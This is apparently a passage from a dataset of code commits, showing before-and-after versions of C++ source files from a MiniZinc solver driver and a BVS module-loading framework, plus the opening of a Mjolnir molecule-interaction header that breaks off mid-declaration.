= getGlobalSolverRegistry()->getSolverFactories().begin();\n it != getGlobalSolverRegistry()->getSolverFactories().end(); ++it) {\n (*it)->printHelp(cout);\n cout << endl;\n }\n}\n\nbool MznSolver::processOptions(int argc, const char** argv)\n{\n int i=1;\n if (argc < 2)\n return false;\n for (i=1; i<argc; ++i) {\n if (string(argv[i])==\"-h\" || string(argv[i])==\"--help\") {\n printHelp();\n std::exit(EXIT_SUCCESS);\n }\n if (string(argv[i])==\"--version\") {\n getFlt()->printVersion(cout);\n for (auto it = getGlobalSolverRegistry()->getSolverFactories().begin();\n it != getGlobalSolverRegistry()->getSolverFactories().end(); ++it)\n cout << (*it)->getVersion() << endl;\n std::exit(EXIT_SUCCESS);\n }\n \/\/ moving --verbose here:\n if ((argv[i])==string(\"-v\") || (argv[i])==string(\"--verbose\") || (argv[i])==string(\"-l\")) {\n flag_verbose = true;\n } else if (string(argv[i])==\"-s\" || string(argv[i])==\"--statistics\") {\n flag_statistics = true; \/\/ is this Flattener's option?\n } else if ( !ifMzn2Fzn() ? s2out.processOption( i, argc, argv ) : false ) {\n } else if (!getFlt()->processOption(i, argc, argv)) {\n for (auto it = getGlobalSolverRegistry()->getSolverFactories().begin();\n it != getGlobalSolverRegistry()->getSolverFactories().end(); ++it)\n if ((*it)->processOption(i, argc, argv))\n goto Found;\n goto NotFound;\n }\nFound: { }\n }\n return true;\nNotFound:\n cerr << \" Unrecognized option: '\" << argv[i] << \"'\" << endl;\n return false;\n}\n\nvoid MznSolver::flatten()\n{\n getFlt()->set_flag_verbose(get_flag_verbose());\n getFlt()->set_flag_statistics(get_flag_statistics());\n clock_t tm01 = clock();\n getFlt()->flatten();\n if (get_flag_verbose())\n std::cerr << \" Flattening done, \" << timeDiff(clock(), tm01) << std::endl;\n\n}\n\nvoid MznSolver::solve()\n{\n GCLock lock;\n getSI()->getOptions().setBoolParam (constants().opts.verbose.str(), get_flag_verbose());\n getSI()->getOptions().setBoolParam (constants().opts.statistics.str(), get_flag_statistics());\n getSI()->processFlatZinc();\n SolverInstance::Status status = getSI()->solve();\n if (status==SolverInstance::SAT || status==SolverInstance::OPT) {\n getSI()->printSolution(); \/\/ What if it's already printed? TODO\n if ( !getSI()->getSolns2Out()->fStatusPrinted )\n getSI()->getSolns2Out()->evalStatus( status );\n }\n else {\n if ( !getSI()->getSolns2Out()->fStatusPrinted )\n getSI()->getSolns2Out()->evalStatus( status );\n if (get_flag_statistics()) \/\/ it's summary in fact\n printStatistics();\n }\n}\n\nvoid MznSolver::printStatistics()\n{ \/\/ from flattener too? TODO\n if (si)\n getSI()->printStatisticsLine(cout, 1);\n}\n\n\n<commit_msg>mzn2fzn evaluates solution status (prints status message) if not UNKNOWN<commit_after> \n\/* -*- mode: C++; c-basic-offset: 2; indent-tabs-mode: nil -*- *\/\n\n\/*\n * Main authors:\n * Guido Tack <guido.tack@monash.edu>\n * Gleb Belov <gleb.belov@monash.edu>\n *\/\n\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n\/* This (main) file coordinates flattening and solving.\n * The corresponding modules are flexibly plugged in\n * as derived classes, prospectively from DLLs.\n * A flattening module should provide MinZinc::GetFlattener()\n * A solving module should provide an object of a class derived from SolverFactory.\n * Need to get more flexible for multi-pass & multi-solving stuff TODO\n *\/\n\n\n#ifdef _MSC_VER \n#define _CRT_SECURE_NO_WARNINGS\n#endif\n\n#include <iostream>\n#include <fstream>\n#include <iomanip>\n#include <cstdlib>\n\nusing namespace std;\n\n#include <minizinc\/solver.hh>\n\nusing namespace MiniZinc;\n\nint main(int argc, const char** argv) {\n clock_t starttime = std::clock(), endTime;\n bool fSuccess = false;\n \n MznSolver slv;\n try {\n \n slv.addFlattener();\n if (!slv.processOptions(argc, argv)) {\n slv.printHelp();\n exit(EXIT_FAILURE);\n }\n slv.flatten();\n \n if (SolverInstance::UNKNOWN == slv.getFlt()->status)\n {\n fSuccess = true;\n if ( !slv.ifMzn2Fzn() ) { \/\/ only then\n GCLock lock;\n slv.addSolverInterface();\n slv.solve();\n }\n } else if (SolverInstance::ERROR == slv.getFlt()->status) {\n slv.s2out.evalStatus( slv.getFlt()->status );\n } else {\n fSuccess = true;\n slv.s2out.evalStatus( slv.getFlt()->status );\n } \/\/ TODO Move evalOutput() here?\n } catch (const LocationException& e) {\n if (slv.get_flag_verbose())\n std::cerr << std::endl;\n std::cerr << e.loc() << \":\" << std::endl;\n std::cerr << e.what() << \": \" << e.msg() << std::endl;\n slv.s2out.evalStatus( SolverInstance::ERROR );\n } catch (const Exception& e) {\n if (slv.get_flag_verbose())\n std::cerr << std::endl;\n std::cerr << e.what() << \": \" << e.msg() << std::endl;\n slv.s2out.evalStatus( SolverInstance::ERROR );\n }\n catch (const exception& e) {\n if (slv.get_flag_verbose())\n std::cerr << std::endl;\n std::cerr << e.what() << std::endl;\n slv.s2out.evalStatus( SolverInstance::ERROR );\n }\n catch (...) {\n if (slv.get_flag_verbose())\n std::cerr << std::endl;\n std::cerr << \" UNKNOWN EXCEPTION.\" << std::endl;\n slv.s2out.evalStatus( SolverInstance::ERROR );\n }\n\n if ( !slv.ifMzn2Fzn() ) {\n endTime = clock();\n if (slv.get_flag_verbose()) {\n std::cerr << \" Done (\";\n cerr << \"overall time \" << timeDiff(endTime, starttime) << \").\" << std::endl;\n }\n }\n return !fSuccess;\n} \/\/ int main()\n\n\/\/ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nSolverRegistry* MiniZinc::getGlobalSolverRegistry()\n{\n static SolverRegistry sr;\n return &sr;\n}\n\nvoid SolverRegistry::addSolverFactory(SolverFactory* pSF)\n{\n assert(pSF);\n sfstorage.push_back(pSF);\n}\n\nvoid SolverRegistry::removeSolverFactory(SolverFactory* pSF)\n{\n auto it = find(sfstorage.begin(), sfstorage.end(), pSF);\n assert(pSF);\n sfstorage.erase(it);\n}\n\n\/\/\/ Function createSI also adds each SI to the local storage\nSolverInstanceBase * SolverFactory::createSI(Env& env) {\n SolverInstanceBase *pSI = doCreateSI(env);\n if (!pSI) {\n cerr << \" SolverFactory: failed to initialize solver \"\n << getVersion() << endl;\n throw InternalError(\" SolverFactory: failed to initialize solver\");\n }\n sistorage.resize(sistorage.size()+1);\n sistorage.back().reset(pSI);\n return pSI;\n}\n\n\/\/\/ also providing a destroy function for a DLL or just special allocator etc.\nvoid SolverFactory::destroySI(SolverInstanceBase * pSI) {\n auto it = sistorage.begin();\n for ( ; it != sistorage.end(); ++ it)\n if (it->get() == pSI)\n break;\n if (sistorage.end() == it) {\n cerr << \" SolverFactory: failed to remove solver at \"\n << pSI << endl;\n throw InternalError(\" SolverFactory: failed to remove solver\");\n }\n sistorage.erase(it);\n}\n\n\nMznSolver::~MznSolver()\n{\n\/\/ if (si) \/\/ first the solver\n\/\/ CleanupSolverInterface(si);\n \/\/ TODO cleanup the used solver interfaces\n si=0;\n if (flt)\n cleanupGlobalFlattener(flt);\n flt=0;\n}\n\nbool MznSolver::ifMzn2Fzn() {\n#ifdef FLATTEN_ONLY\n return true;\n#else\n return 0==getNSolvers();\n#endif\n}\n\nvoid MznSolver::addFlattener()\n{\n flt = getGlobalFlattener(ifMzn2Fzn());\n assert(flt);\n}\n\nvoid MznSolver::addSolverInterface()\n{\n assert(getGlobalSolverRegistry()->getSolverFactories().size());\n si = getGlobalSolverRegistry()->getSolverFactories().front()->createSI(*flt->getEnv());\n assert(si);\n s2out.initFromEnv( flt->getEnv() );\n si->setSolns2Out( &s2out );\n if (get_flag_verbose())\n cerr\n\/\/ << \" ---------------------------------------------------------------------------\\n\"\n << \" % SOLVING PHASE\\n\"\n << getGlobalSolverRegistry()->getSolverFactories().front()->getVersion() << endl; \n}\n\nvoid MznSolver::printHelp()\n{\n if ( !ifMzn2Fzn() )\n cout\n << \"NICTA MiniZinc driver.\\n\"\n << \"Usage: <executable>\" \/\/<< argv[0]\n << \" [<options>] [-I <include path>] <model>.mzn [<data>.dzn ...] or just <flat>.fzn\" << std::endl;\n else\n cout\n << \"NICTA MiniZinc to FlatZinc converter.\\n\"\n << \"Usage: <executable>\" \/\/<< argv[0]\n << \" [<options>] [-I <include path>] <model>.mzn [<data>.dzn ...]\" << std::endl;\n cout\n << \"Options:\" << std::endl\n << \" --help, -h\\n Print this help message.\" << std::endl\n << \" --version\\n Print version information.\" << std::endl\n << \" -v, -l, --verbose\\n Print progress\/log statements. Note that some solvers may log to stdout.\" << std::endl\n << \" -s, --statistics\\n Print statistics.\" << std::endl;\n\/\/ if ( getNSolvers() )\n \n getFlt()->printHelp(cout);\n cout << endl;\n if ( !ifMzn2Fzn() ) {\n s2out.printHelp(cout);\n cout << endl;\n }\n for (auto it = getGlobalSolverRegistry()->getSolverFactories().begin();\n it != getGlobalSolverRegistry()->getSolverFactories().end(); ++it) {\n (*it)->printHelp(cout);\n cout << endl;\n }\n}\n\nbool MznSolver::processOptions(int argc, const char** argv)\n{\n int i=1;\n if (argc < 2)\n return false;\n for (i=1; i<argc; ++i) {\n if (string(argv[i])==\"-h\" || string(argv[i])==\"--help\") {\n printHelp();\n std::exit(EXIT_SUCCESS);\n }\n if (string(argv[i])==\"--version\") {\n getFlt()->printVersion(cout);\n for (auto it = getGlobalSolverRegistry()->getSolverFactories().begin();\n it != getGlobalSolverRegistry()->getSolverFactories().end(); ++it)\n cout << (*it)->getVersion() << endl;\n std::exit(EXIT_SUCCESS);\n }\n \/\/ moving --verbose here:\n if ((argv[i])==string(\"-v\") || (argv[i])==string(\"--verbose\") || (argv[i])==string(\"-l\")) {\n flag_verbose = true;\n } else if (string(argv[i])==\"-s\" || string(argv[i])==\"--statistics\") {\n flag_statistics = true; \/\/ is this Flattener's option?\n } else if ( !ifMzn2Fzn() ? s2out.processOption( i, argc, argv ) : false ) {\n } else if (!getFlt()->processOption(i, argc, argv)) {\n for (auto it = getGlobalSolverRegistry()->getSolverFactories().begin();\n it != getGlobalSolverRegistry()->getSolverFactories().end(); ++it)\n if ((*it)->processOption(i, argc, argv))\n goto Found;\n goto NotFound;\n }\nFound: { }\n }\n return true;\nNotFound:\n cerr << \" Unrecognized option or bad format: '\" << argv[i] << \"'\" << endl;\n return false;\n}\n\nvoid MznSolver::flatten()\n{\n getFlt()->set_flag_verbose(get_flag_verbose());\n getFlt()->set_flag_statistics(get_flag_statistics());\n clock_t tm01 = clock();\n getFlt()->flatten();\n if (get_flag_verbose())\n std::cerr << \" Flattening done, \" << timeDiff(clock(), tm01) << std::endl;\n\n}\n\nvoid MznSolver::solve()\n{\n GCLock lock;\n getSI()->getOptions().setBoolParam (constants().opts.verbose.str(), get_flag_verbose());\n getSI()->getOptions().setBoolParam (constants().opts.statistics.str(), get_flag_statistics());\n getSI()->processFlatZinc();\n SolverInstance::Status status = getSI()->solve();\n if (status==SolverInstance::SAT || status==SolverInstance::OPT) {\n getSI()->printSolution(); \/\/ What if it's already printed? TODO\n if ( !getSI()->getSolns2Out()->fStatusPrinted )\n getSI()->getSolns2Out()->evalStatus( status );\n }\n else {\n if ( !getSI()->getSolns2Out()->fStatusPrinted )\n getSI()->getSolns2Out()->evalStatus( status );\n if (get_flag_statistics()) \/\/ it's summary in fact\n printStatistics();\n }\n}\n\nvoid MznSolver::printStatistics()\n{ \/\/ from flattener too? TODO\n if (si)\n getSI()->printStatisticsLine(cout, 1);\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>#include \"bvs\/bvs.h\"\n#include \"bvs\/traits.h\"\n#include \"control.h\"\n#include \"loader.h\"\n\n#ifdef BVS_LOG_SYSTEM\n#include \"logsystem.h\"\n#endif\n\n\n\nBVS::BVS::BVS(int argc, char** argv, std::function<void()>shutdownHandler)\n\t: config{\"bvs\", argc, argv},\n\tshutdownHandler(shutdownHandler),\n\tinfo(Info{config, 0, {}, {}}),\n#ifdef BVS_LOG_SYSTEM\n\tlogSystem{LogSystem::connectToLogSystem()},\n\tlogger{\"BVS\"},\n#endif\n\tloader{new Loader{info}},\n\tcontrol{new Control{loader->modules, *this, info}},\n\tmoduleStack{}\n{\n#ifdef BVS_LOG_SYSTEM\n\tlogSystem->updateSettings(config);\n\tlogSystem->updateLoggerLevels(config);\n#endif\n}\n\n\n\nBVS::BVS::~BVS()\n{\n\tdelete control;\n\tdelete loader;\n}\n\n\n\nBVS::BVS& BVS::BVS::loadModules()\n{\n\t\/\/ get module list from config\n\tstd::vector<std::string> moduleList;\n\tconfig.getValue(\"BVS.modules\", moduleList);\n\tstd::string poolName;\n\n\t\/\/ check length\n\tif (moduleList.size()==0)\n\t{\n\t\tLOG(1, \"No modules specified, nothing to load!\");\n\t\treturn *this;\n\t}\n\n\t\/\/ load all selected modules\n\tbool asThread;\n\tfor (auto& it : moduleList)\n\t{\n\t\tasThread = false;\n\t\tpoolName.clear();\n\n\t\t\/\/ check for thread selection ('+' prefix) and system settings\n\t\tif (it[0]=='+')\n\t\t{\n\t\t\tit.erase(0, 1);\n\t\t\tif (it[0]=='[')\n\t\t\t{\n\t\t\t\tLOG(0, \"Cannot start module in thread AND pool!\");\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tasThread = true;\n\t\t}\n\n\t\tif (it[0]=='[')\n\t\t{\n\t\t\tsize_t pos = it.find_first_of(']');\n\t\t\tpoolName = it.substr(1, pos-1);\n\t\t\tit.erase(0, pos+1);\n\t\t}\n\n\t\tloadModule(it , asThread, poolName);\n\t}\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::loadModule(const std::string& moduleTraits, bool asThread, std::string poolName)\n{\n\tstd::string id;\n\tstd::string library;\n\tstd::string configuration;\n\tstd::string options;\n\n\t\/\/ adapt to module thread\/pools settings\n\tbool moduleThreads = config.getValue<bool>(\"BVS.moduleThreads\", bvs_module_threads);\n\tbool forceModuleThreads = config.getValue<bool>(\"BVS.forceModuleThreads\", bvs_module_force_threads);\n\tbool modulePools = config.getValue<bool>(\"BVS.modulePools\", bvs_module_pools);\n\n\tif (forceModuleThreads) asThread = true;\n\tif (!moduleThreads) asThread = false;\n\tif (!modulePools) poolName.clear();\n\n\t\/\/ separate id, library, configuration and options\n\tsize_t separator = moduleTraits.find_first_of(\".()\");\n\tif (separator==std::string::npos) id = moduleTraits;\n\telse if (moduleTraits.at(separator)=='.')\n\t{\n\t\tid = moduleTraits.substr(0, separator);\n\t\toptions = moduleTraits.substr(separator+1, std::string::npos);\n\t}\n\telse if (moduleTraits.at(separator)=='(')\n\t{\n\t\tsize_t dot = moduleTraits.find_first_of('.');\n\t\tsize_t rp = moduleTraits.find_first_of(')');\n\t\tid = moduleTraits.substr(0, separator);\n\t\tlibrary = moduleTraits.substr(separator+1, rp-separator-1);\n\t\toptions = moduleTraits.substr(rp+2<moduleTraits.size()?rp+2:rp+1, std::string::npos);\n\t\tif (dot<rp)\n\t\t{\n\t\t\tlibrary = moduleTraits.substr(separator+1, dot-separator-1);\n\t\t\tconfiguration = moduleTraits.substr(dot+1, rp-dot-1);\n\t\t}\n\t}\n\tif (library.empty()) library = id;\n\tif (configuration.empty()) configuration = id;\n\n\t\/\/ load\n\tloader->load(id, library, configuration, options, asThread, poolName);\n\tcontrol->startModule(id);\n\tmoduleStack.push(id);\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::unloadModules()\n{\n\twhile (!moduleStack.empty())\n\t{\n\t\tif(loader->modules.find(moduleStack.top())!=loader->modules.end())\n\t\t{\n\t\t\tunloadModule(moduleStack.top());\n\t\t}\n\t\tmoduleStack.pop();\n\t}\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::unloadModule(const std::string& id)\n{\n\tSystemFlag state = control->queryActiveFlag();\n\tif (state!=SystemFlag::QUIT) control->sendCommand(SystemFlag::PAUSE);\n\n\tcontrol->waitUntilInactive(id);\n\tcontrol->purgeData(id);\n\tcontrol->quitModule(id);\n\tloader->unload(id);\n\n\tif (state!=SystemFlag::QUIT) control->sendCommand(state);\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::loadConfigFile(const std::string& configFile)\n{\n\tconfig.loadConfigFile(configFile);\n#ifdef BVS_LOG_SYSTEM\n\tlogSystem->updateSettings(config);\n\tlogSystem->updateLoggerLevels(config);\n#endif\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::setLogSystemVerbosity(const unsigned short verbosity)\n{\n#ifdef BVS_LOG_SYSTEM\n\tif (logSystem) logSystem->setSystemVerbosity(verbosity);\n#else\n\t(void) verbosity;\n#endif\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::enableLogFile(const std::string& file, bool append)\n{\n#ifdef BVS_LOG_SYSTEM\n\tif (logSystem) logSystem->enableLogFile(file, append);\n#else\n\t(void) file;\n\t(void) append;\n#endif\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::disableLogFile()\n{\n#ifdef BVS_LOG_SYSTEM\n\tif (logSystem) logSystem->disableLogFile();\n#endif\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::enableLogConsole(const std::ostream& out)\n{\n#ifdef BVS_LOG_SYSTEM\n\tif (logSystem) logSystem->enableLogConsole(out);\n#else\n\t(void) out;\n#endif\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::disableLogConsole()\n{\n#ifdef BVS_LOG_SYSTEM\n\tif (logSystem) logSystem->disableLogConsole();\n#endif\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::connectAllModules()\n{\n\tloader->connectAllModules();\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::connectModule(const std::string id)\n{\n\tloader->connectModule(id, config.getValue<bool>(\"BVS.connectorTypeMatching\", bvs_connector_type_matching));\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::start(bool forkMasterController)\n{\n\tcontrol->masterController(forkMasterController);\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::run()\n{\n\tcontrol->sendCommand(SystemFlag::RUN);\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::step()\n{\n\tcontrol->sendCommand(SystemFlag::STEP);\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::pause()\n{\n\tcontrol->sendCommand(SystemFlag::PAUSE);\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::hotSwap(const std::string& id)\n{\n#ifdef BVS_MODULE_HOTSWAP\n\tif (control->modules.find(id)!=control->modules.end())\n\t{\n\t\tSystemFlag state = control->queryActiveFlag();\n\t\tcontrol->sendCommand(SystemFlag::PAUSE);\n\t\tcontrol->waitUntilInactive(id);\n\n\t\tloader->hotSwapModule(id);\n\t\tcontrol->sendCommand(state);\n\t}\n\telse\n\t{\n\t\tLOG(0, \"'\" << id << \"' not found!\");\n\t}\n#else \/\/BVS_MODULE_HOTSWAP\n\tLOG(0, \"ERROR: HotSwap disabled, could not hotswap: '\" << id << \"'!\");\n#endif \/\/BVS_MODULE_HOTSWAP\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::quit()\n{\n\tcontrol->sendCommand(SystemFlag::QUIT);\n\tunloadModules();\n\n\treturn *this;\n}\n<commit_msg>bvs: purgeData needs further fixing, disable for now<commit_after>#include \"bvs\/bvs.h\"\n#include \"bvs\/traits.h\"\n#include \"control.h\"\n#include \"loader.h\"\n\n#ifdef BVS_LOG_SYSTEM\n#include \"logsystem.h\"\n#endif\n\n\n\nBVS::BVS::BVS(int argc, char** argv, std::function<void()>shutdownHandler)\n\t: config{\"bvs\", argc, argv},\n\tshutdownHandler(shutdownHandler),\n\tinfo(Info{config, 0, {}, {}}),\n#ifdef BVS_LOG_SYSTEM\n\tlogSystem{LogSystem::connectToLogSystem()},\n\tlogger{\"BVS\"},\n#endif\n\tloader{new Loader{info}},\n\tcontrol{new Control{loader->modules, *this, info}},\n\tmoduleStack{}\n{\n#ifdef BVS_LOG_SYSTEM\n\tlogSystem->updateSettings(config);\n\tlogSystem->updateLoggerLevels(config);\n#endif\n}\n\n\n\nBVS::BVS::~BVS()\n{\n\tdelete control;\n\tdelete loader;\n}\n\n\n\nBVS::BVS& BVS::BVS::loadModules()\n{\n\t\/\/ get module list from config\n\tstd::vector<std::string> moduleList;\n\tconfig.getValue(\"BVS.modules\", moduleList);\n\tstd::string poolName;\n\n\t\/\/ check length\n\tif (moduleList.size()==0)\n\t{\n\t\tLOG(1, \"No modules specified, nothing to load!\");\n\t\treturn *this;\n\t}\n\n\t\/\/ load all selected modules\n\tbool asThread;\n\tfor (auto& it : moduleList)\n\t{\n\t\tasThread = false;\n\t\tpoolName.clear();\n\n\t\t\/\/ check for thread selection ('+' prefix) and system settings\n\t\tif (it[0]=='+')\n\t\t{\n\t\t\tit.erase(0, 1);\n\t\t\tif (it[0]=='[')\n\t\t\t{\n\t\t\t\tLOG(0, \"Cannot start module in thread AND pool!\");\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tasThread = true;\n\t\t}\n\n\t\tif (it[0]=='[')\n\t\t{\n\t\t\tsize_t pos = it.find_first_of(']');\n\t\t\tpoolName = it.substr(1, pos-1);\n\t\t\tit.erase(0, pos+1);\n\t\t}\n\n\t\tloadModule(it , asThread, poolName);\n\t}\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::loadModule(const std::string& moduleTraits, bool asThread, std::string poolName)\n{\n\tstd::string id;\n\tstd::string library;\n\tstd::string configuration;\n\tstd::string options;\n\n\t\/\/ adapt to module thread\/pools settings\n\tbool moduleThreads = config.getValue<bool>(\"BVS.moduleThreads\", bvs_module_threads);\n\tbool forceModuleThreads = config.getValue<bool>(\"BVS.forceModuleThreads\", bvs_module_force_threads);\n\tbool modulePools = config.getValue<bool>(\"BVS.modulePools\", bvs_module_pools);\n\n\tif (forceModuleThreads) asThread = true;\n\tif (!moduleThreads) asThread = false;\n\tif (!modulePools) poolName.clear();\n\n\t\/\/ separate id, library, configuration and options\n\tsize_t separator = moduleTraits.find_first_of(\".()\");\n\tif (separator==std::string::npos) id = moduleTraits;\n\telse if (moduleTraits.at(separator)=='.')\n\t{\n\t\tid = moduleTraits.substr(0, separator);\n\t\toptions = moduleTraits.substr(separator+1, std::string::npos);\n\t}\n\telse if (moduleTraits.at(separator)=='(')\n\t{\n\t\tsize_t dot = moduleTraits.find_first_of('.');\n\t\tsize_t rp = moduleTraits.find_first_of(')');\n\t\tid = moduleTraits.substr(0, separator);\n\t\tlibrary = moduleTraits.substr(separator+1, rp-separator-1);\n\t\toptions = moduleTraits.substr(rp+2<moduleTraits.size()?rp+2:rp+1, std::string::npos);\n\t\tif (dot<rp)\n\t\t{\n\t\t\tlibrary = moduleTraits.substr(separator+1, dot-separator-1);\n\t\t\tconfiguration = moduleTraits.substr(dot+1, rp-dot-1);\n\t\t}\n\t}\n\tif (library.empty()) library = id;\n\tif (configuration.empty()) configuration = id;\n\n\t\/\/ load\n\tloader->load(id, library, configuration, options, asThread, poolName);\n\tcontrol->startModule(id);\n\tmoduleStack.push(id);\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::unloadModules()\n{\n\twhile (!moduleStack.empty())\n\t{\n\t\tif(loader->modules.find(moduleStack.top())!=loader->modules.end())\n\t\t{\n\t\t\tunloadModule(moduleStack.top());\n\t\t}\n\t\tmoduleStack.pop();\n\t}\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::unloadModule(const std::string& id)\n{\n\tSystemFlag state = control->queryActiveFlag();\n\tif (state!=SystemFlag::QUIT) control->sendCommand(SystemFlag::PAUSE);\n\n\tcontrol->waitUntilInactive(id);\n\t\/\/TODO fix purgeData, eventually causes segfaults\n\t\/\/control->purgeData(id);\n\tcontrol->quitModule(id);\n\tloader->unload(id);\n\n\tif (state!=SystemFlag::QUIT) control->sendCommand(state);\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::loadConfigFile(const std::string& configFile)\n{\n\tconfig.loadConfigFile(configFile);\n#ifdef BVS_LOG_SYSTEM\n\tlogSystem->updateSettings(config);\n\tlogSystem->updateLoggerLevels(config);\n#endif\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::setLogSystemVerbosity(const unsigned short verbosity)\n{\n#ifdef BVS_LOG_SYSTEM\n\tif (logSystem) logSystem->setSystemVerbosity(verbosity);\n#else\n\t(void) verbosity;\n#endif\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::enableLogFile(const std::string& file, bool append)\n{\n#ifdef BVS_LOG_SYSTEM\n\tif (logSystem) logSystem->enableLogFile(file, append);\n#else\n\t(void) file;\n\t(void) append;\n#endif\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::disableLogFile()\n{\n#ifdef BVS_LOG_SYSTEM\n\tif (logSystem) logSystem->disableLogFile();\n#endif\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::enableLogConsole(const std::ostream& out)\n{\n#ifdef BVS_LOG_SYSTEM\n\tif (logSystem) logSystem->enableLogConsole(out);\n#else\n\t(void) out;\n#endif\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::disableLogConsole()\n{\n#ifdef BVS_LOG_SYSTEM\n\tif (logSystem) logSystem->disableLogConsole();\n#endif\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::connectAllModules()\n{\n\tloader->connectAllModules();\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::connectModule(const std::string id)\n{\n\tloader->connectModule(id, config.getValue<bool>(\"BVS.connectorTypeMatching\", bvs_connector_type_matching));\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::start(bool forkMasterController)\n{\n\tcontrol->masterController(forkMasterController);\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::run()\n{\n\tcontrol->sendCommand(SystemFlag::RUN);\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::step()\n{\n\tcontrol->sendCommand(SystemFlag::STEP);\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::pause()\n{\n\tcontrol->sendCommand(SystemFlag::PAUSE);\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::hotSwap(const std::string& id)\n{\n#ifdef BVS_MODULE_HOTSWAP\n\tif (control->modules.find(id)!=control->modules.end())\n\t{\n\t\tSystemFlag state = control->queryActiveFlag();\n\t\tcontrol->sendCommand(SystemFlag::PAUSE);\n\t\tcontrol->waitUntilInactive(id);\n\n\t\tloader->hotSwapModule(id);\n\t\tcontrol->sendCommand(state);\n\t}\n\telse\n\t{\n\t\tLOG(0, \"'\" << id << \"' not found!\");\n\t}\n#else \/\/BVS_MODULE_HOTSWAP\n\tLOG(0, \"ERROR: HotSwap disabled, could not hotswap: '\" << id << \"'!\");\n#endif \/\/BVS_MODULE_HOTSWAP\n\n\treturn *this;\n}\n\n\n\nBVS::BVS& BVS::BVS::quit()\n{\n\tcontrol->sendCommand(SystemFlag::QUIT);\n\tunloadModules();\n\n\treturn *this;\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef MJOLNIR_POTENTIAL_GLOBAL_IGNORE_MOLECULE_HPP\n#define MJOLNIR_POTENTIAL_GLOBAL_IGNORE_MOLECULE_HPP\n#include <mjolnir\/util\/throw_exception.hpp>\n#include <string>\n#include <memory>\n\n\/\/ In some case, we need to ignore intra- or inter-molecule interaction.\n\/\/ For example, consider you have an elastic network model and charges on it\n\/\/ that are tuned to reproduce the electrostatic potentials around the native\n\/\/ structure. In that case, the electrostatic interaction should not be applied\n\/\/ for the intra-molecule pairs to avoid double-counting because the elastic\n\/\/ network potential is modeled as a sum of all the intra-molecule interactions.\n\/\/ IgnoreMolecule provides you a way to specify the rule to determine ignored\n\/\/ pairs of particles. If you specify IgnoreSelf, all the intra-molecule\n\/\/ interactions would be ignored. IgnoreOthers ignores inter-molecule interactions.\n\/\/ Clearly, IgnoreNothing ignores nothing.\n\nnamespace mjolnir\n{\n\ntemplate<typename MoleculeID>\nstruct IgnoreMoleculeBase\n{\n IgnoreMoleculeBase() = default;\n virtual ~IgnoreMoleculeBase() = default;\n\n virtual bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept = 0;\n virtual const char* name() const noexcept = 0;\n};\n\ntemplate<typename MoleculeID>\nstruct IgnoreNothing: public IgnoreMoleculeBase<MoleculeID>\n{\n IgnoreNothing() = default;\n ~IgnoreNothing() override = default;\n\n bool is_ignored(const MoleculeID&, const MoleculeID&) const noexcept override\n {\n return false;\n }\n const char* name() const noexcept override {return \"Nothing\";}\n};\n\ntemplate<typename MoleculeID>\nstruct IgnoreSelf: public IgnoreMoleculeBase<MoleculeID>\n{\n IgnoreSelf() = default;\n ~IgnoreSelf() override = default;\n\n bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept override\n {\n return i == j;\n }\n const char* name() const noexcept override {return \"Self\";}\n};\n\ntemplate<typename MoleculeID>\nstruct IgnoreOthers: public IgnoreMoleculeBase<MoleculeID>\n{\n IgnoreOthers() = default;\n ~IgnoreOthers() override = default;\n\n bool is_ignored(const MoleculeID& i, const MoleculeID& j) const noexcept override\n {\n return i != j;\n }\n const char* name() const noexcept override {return \"Others\";}\n};\n\ntemplate<typename MoleculeID>\nstruct IgnoreMolecule\n{\n explicit IgnoreMolecule(const std::string& name): ignore_mol_(nullptr)\n {\n this->reset(name);\n }\n\n template<typename IgnoreSomething>\n explicit 